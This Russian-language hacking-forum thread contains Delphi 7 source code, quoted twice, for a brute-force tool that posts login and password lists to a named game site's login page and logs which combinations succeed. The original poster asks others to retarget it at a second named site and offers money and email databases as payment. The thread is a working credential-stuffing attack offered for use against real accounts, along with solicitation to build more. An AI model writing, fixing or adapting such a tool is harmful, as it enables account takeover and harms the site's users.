Взлом и программирование : Аспекты программирования при реализации различных методик взлома.
#1
DELPHI 7 сделайти мне брут а то я не умею программировать:(
вот код
Код:
unit fantasyland;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPServer,
IdCustomHTTPServer, IdHTTPServer, IdTCPConnection, IdTCPClient, IdHTTP;
type
TForm1 = class(TForm)
btn1: TButton;
mmo1: TMemo;
idhtp1: TIdHTTP;
mmo2: TMemo;
rb1: TRadioButton;
rb2: TRadioButton;
rb3: TRadioButton;
btn2: TButton;
btn3: TButton;
edt1: TEdit;
lbl1: TLabel;
lbl2: TLabel;
lbl3: TLabel;
lbl4: TLabel;
lbl5: TLabel;
procedure btn1Click(Sender: TObject);
procedure btn2Click(Sender: TObject);
procedure btn3Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.btn1Click(Sender: TObject);
var
i,y,s:Integer;
info,p:TStringList;
begin
info:=TStringList.Create;
p:=TStringList.Create;
if rb1.Checked then
for i:=0 to Mmo1.Lines.Count-1 do
begin
info.add('login='+edt1.Text);
info.add('password='+Mmo1.Lines.Strings[i]);
p.Text:=idhtp1.Post('http://fantasyland.ru/login.php', info);
if pos('window.top.document.location.href=', p.text)>0 then
begin
mmo2.lines.Add(edt1.Text+';'+Mmo1.Lines.Strings[i]+ ' - ' + 'good');
end
else
begin
mmo2.lines.Add(edt1.Text+';'+Mmo1.Lines.Strings[i]+ ' - ' + 'bad');
end;
end;
if rb2.Checked then
for i:=0 to Mmo1.Lines.Count-1 do
begin
info.add('login='+Mmo1.Lines.Strings[i]);
info.add('password='+edt1.Text);
p.Text:=idhtp1.Post('http://fantasyland.ru/login.php', info);
if pos('window.top.document.location.href=', p.text)>0 then
begin
mmo2.lines.Add(Mmo1.Lines.Strings[i]+';'+edt1.Text+ ' - ' + 'good');
end
else
begin
mmo2.lines.Add(Mmo1.Lines.Strings[i]+';'+edt1.Text+ ' - ' + 'bad');
end;
end;
if rb3.Checked then
for i:=0 to Mmo1.Lines.Count-1 do
begin
y:=Pos(';', mmo1.Text);
info.add('login='+copy(Mmo1.Text, 1, y-1));
s:=length(mmo1.Text);
info.add('password='+copy(mmo1.Text, y+1, s));
p.Text:=idhtp1.Post('http://fantasyland.ru/login.php', info);
if pos('window.top.document.location.href=', p.text)>0 then
begin
mmo2.lines.Add(Mmo1.Lines.Strings[i]+';'+edt1.Text+ ' - ' + 'good');
end
else
begin
mmo2.lines.Add(Mmo1.Lines.Strings[i]+';'+edt1.Text+ ' - ' + 'bad');
end;
end;
end;
procedure TForm1.btn2Click(Sender: TObject);
begin
mmo2.Lines.SaveToFile('log.txt');
end;
procedure TForm1.btn3Click(Sender: TObject);
begin
if rb1.Checked=True then
begin
mmo1.Text:='';
edt1.Text:='';
mmo1.Visible:=True;
mmo2.Visible:=True;
edt1.Visible:=True;
lbl1.Caption:='Пароли';
lbl3.Caption:='Логин';
lbl1.Visible:=True;
lbl2.Visible:=True;
lbl3.Visible:=True;
end;
if rb2.Checked=True then
begin
mmo1.Text:='';
edt1.Text:='';
mmo1.Visible:=True;
mmo2.Visible:=True;
edt1.Visible:=True;
lbl1.Caption:='Логины';
lbl3.Caption:='Пароль';
lbl1.Visible:=True;
lbl2.Visible:=True;
lbl3.Visible:=True;
end;
if rb3.Checked=True then
begin
mmo1.Text:='';
mmo1.Visible:=True;
mmo2.Visible:=True;
lbl1.Caption:='log;pass';
lbl1.Visible:=True;
lbl2.Visible:=True;
end;
end;
end.
Помогите это для сайта ладноф или как там а можете сделать для
http://ensemplix.ru/ я не понимаю что нетак вроде все правильно:(
#2
Крестный отец всех читеров
OFFLINE
Регистрация: 02.04.2008
Сообщений: 4,028
Благодарностей: 37,791 всего
Да тибе кот кривой прагамист писал, он нирвботаит естествина.
Если бы я был умен - я бы сошел с ума.
#3
Гильдия RF-Cheats
ONLINE
Регистрация: 11.02.2008
Возраст: 35
Сообщений: 2,270
Благодарностей: 1,491 всего
Цитата:
Сообщение от
Churkabes
вот код
Код:
unit fantasyland;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPServer,
IdCustomHTTPServer, IdHTTPServer, IdTCPConnection, IdTCPClient, IdHTTP;
type
TForm1 = class(TForm)
btn1: TButton;
mmo1: TMemo;
idhtp1: TIdHTTP;
mmo2: TMemo;
rb1: TRadioButton;
rb2: TRadioButton;
rb3: TRadioButton;
btn2: TButton;
btn3: TButton;
edt1: TEdit;
lbl1: TLabel;
lbl2: TLabel;
lbl3: TLabel;
lbl4: TLabel;
lbl5: TLabel;
procedure btn1Click(Sender: TObject);
procedure btn2Click(Sender: TObject);
procedure btn3Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.btn1Click(Sender: TObject);
var
i,y,s:Integer;
info,p:TStringList;
begin
info:=TStringList.Create;
p:=TStringList.Create;
if rb1.Checked then
for i:=0 to Mmo1.Lines.Count-1 do
begin
info.add('login='+edt1.Text);
info.add('password='+Mmo1.Lines.Strings[i]);
p.Text:=idhtp1.Post('http://fantasyland.ru/login.php', info);
if pos('window.top.document.location.href=', p.text)>0 then
begin
mmo2.lines.Add(edt1.Text+';'+Mmo1.Lines.Strings[i]+ ' - ' + 'good');
end
else
begin
mmo2.lines.Add(edt1.Text+';'+Mmo1.Lines.Strings[i]+ ' - ' + 'bad');
end;
end;
if rb2.Checked then
for i:=0 to Mmo1.Lines.Count-1 do
begin
info.add('login='+Mmo1.Lines.Strings[i]);
info.add('password='+edt1.Text);
p.Text:=idhtp1.Post('http://fantasyland.ru/login.php', info);
if pos('window.top.document.location.href=', p.text)>0 then
begin
mmo2.lines.Add(Mmo1.Lines.Strings[i]+';'+edt1.Text+ ' - ' + 'good');
end
else
begin
mmo2.lines.Add(Mmo1.Lines.Strings[i]+';'+edt1.Text+ ' - ' + 'bad');
end;
end;
if rb3.Checked then
for i:=0 to Mmo1.Lines.Count-1 do
begin
y:=Pos(';', mmo1.Text);
info.add('login='+copy(Mmo1.Text, 1, y-1));
s:=length(mmo1.Text);
info.add('password='+copy(mmo1.Text, y+1, s));
p.Text:=idhtp1.Post('http://fantasyland.ru/login.php', info);
if pos('window.top.document.location.href=', p.text)>0 then
begin
mmo2.lines.Add(Mmo1.Lines.Strings[i]+';'+edt1.Text+ ' - ' + 'good');
end
else
begin
mmo2.lines.Add(Mmo1.Lines.Strings[i]+';'+edt1.Text+ ' - ' + 'bad');
end;
end;
end;
procedure TForm1.btn2Click(Sender: TObject);
begin
mmo2.Lines.SaveToFile('log.txt');
end;
procedure TForm1.btn3Click(Sender: TObject);
begin
if rb1.Checked=True then
begin
mmo1.Text:='';
edt1.Text:='';
mmo1.Visible:=True;
mmo2.Visible:=True;
edt1.Visible:=True;
lbl1.Caption:='Пароли';
lbl3.Caption:='Логин';
lbl1.Visible:=True;
lbl2.Visible:=True;
lbl3.Visible:=True;
end;
if rb2.Checked=True then
begin
mmo1.Text:='';
edt1.Text:='';
mmo1.Visible:=True;
mmo2.Visible:=True;
edt1.Visible:=True;
lbl1.Caption:='Логины';
lbl3.Caption:='Пароль';
lbl1.Visible:=True;
lbl2.Visible:=True;
lbl3.Visible:=True;
end;
if rb3.Checked=True then
begin
mmo1.Text:='';
mmo1.Visible:=True;
mmo2.Visible:=True;
lbl1.Caption:='log;pass';
lbl1.Visible:=True;
lbl2.Visible:=True;
end;
end;
end.
Помогите это для сайта ладноф или как там а можете сделать для
http://ensemplix.ru/ я не понимаю что нетак вроде все правильно:(
Весь проект кинь....
#4
Крестный отец всех читеров
OFFLINE
Регистрация: 02.04.2008
Сообщений: 4,028
Благодарностей: 37,791 всего
Вот это норм программит. Задание оформи он все сделает.
Если бы я был умен - я бы сошел с ума.
#5
Адмирал-Генерал
OFFLINE
Регистрация: 13.04.2011
Сообщений: 145
Благодарностей: 582 всего
Если кинуть мою собаку на клавиатуру , и она будет бегать по кнопкам )
#6
Извинте,вот уж кривой программер ну я с сайта скотал :) сейчас ссылку на ргхост скину...
#7
Старичок форума
OFFLINE
Регистрация: 05.04.2009
Сообщений: 625
Благодарностей: 940 всего
вроде код пака же? Там докуя ошибок, типо mmo1, и тд, кидай сюда
Цитата:
Сообщение от Dr. Cox
а я хз, является-ли мой Samsung GT-S5230 Айфоном..
Оо
#8
http://rghost.ru/37683842
Скрытый текст (вы должны войти под своим логином или зарегистрироваться и иметь 20 сообщение(ий)):
У вас нет прав чтобы видеть скрытый текст, содержащейся здесь.
Чтобы его прочитать, вы должны заработать сообщения. Как это сделать бесплатно, описано в
правилах форума . Как купить доступ, описано в
Платных услугах .
Добавлено через 23 секунды
Ставлю хайд чтобы всякие школоло не качали щас на вт скину
Последний раз редактировалось Churkabes; 20.04.2012 в 20:47 .
Причина: Добавлено сообщение
#9
Старичок форума
OFFLINE
Регистрация: 05.04.2009
Сообщений: 625
Благодарностей: 940 всего
у меня норм запустилось, незнаю что у тебя там
Цитата:
Сообщение от Dr. Cox
а я хз, является-ли мой Samsung GT-S5230 Айфоном..
Оо
#10
ты читал мой первый пост?,я пытался переделать код под
http://ensemplix.ru
у меня ничего не вышло может кто поможет?
пошаманьте а?если все выйдет и будет брутить заплачу 100 на вебмани или яд
Добавлено через 1 минуту
мой скайп churkabes я с понедельника этого ложусь на неделю и меня не будет может ктонибудь начнет работу?в долгу не останусь предоставлю какиенить базы майла программы каиенить:)
Последний раз редактировалось Churkabes; 20.04.2012 в 21:04 .
Причина: Добавлено сообщение
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения
HTML код Выкл.
Тема
Автор
Раздел
Ответов
Последнее сообщение
Потоки в Delphi
Xmin Взлом и программирование 1 17.02.2012 20:17
[download]Delphi 7
ландграф Взлом и программирование 17 01.02.2012 16:19
Помогите с Delphi :(
Cherep Взлом и программирование 6 01.01.2012 21:37
[Help] Delphi 7
rule-z Взлом и программирование 7 10.02.2011 06:13
Delphi
piy-piy Взлом и программирование 0 20.12.2010 20:26
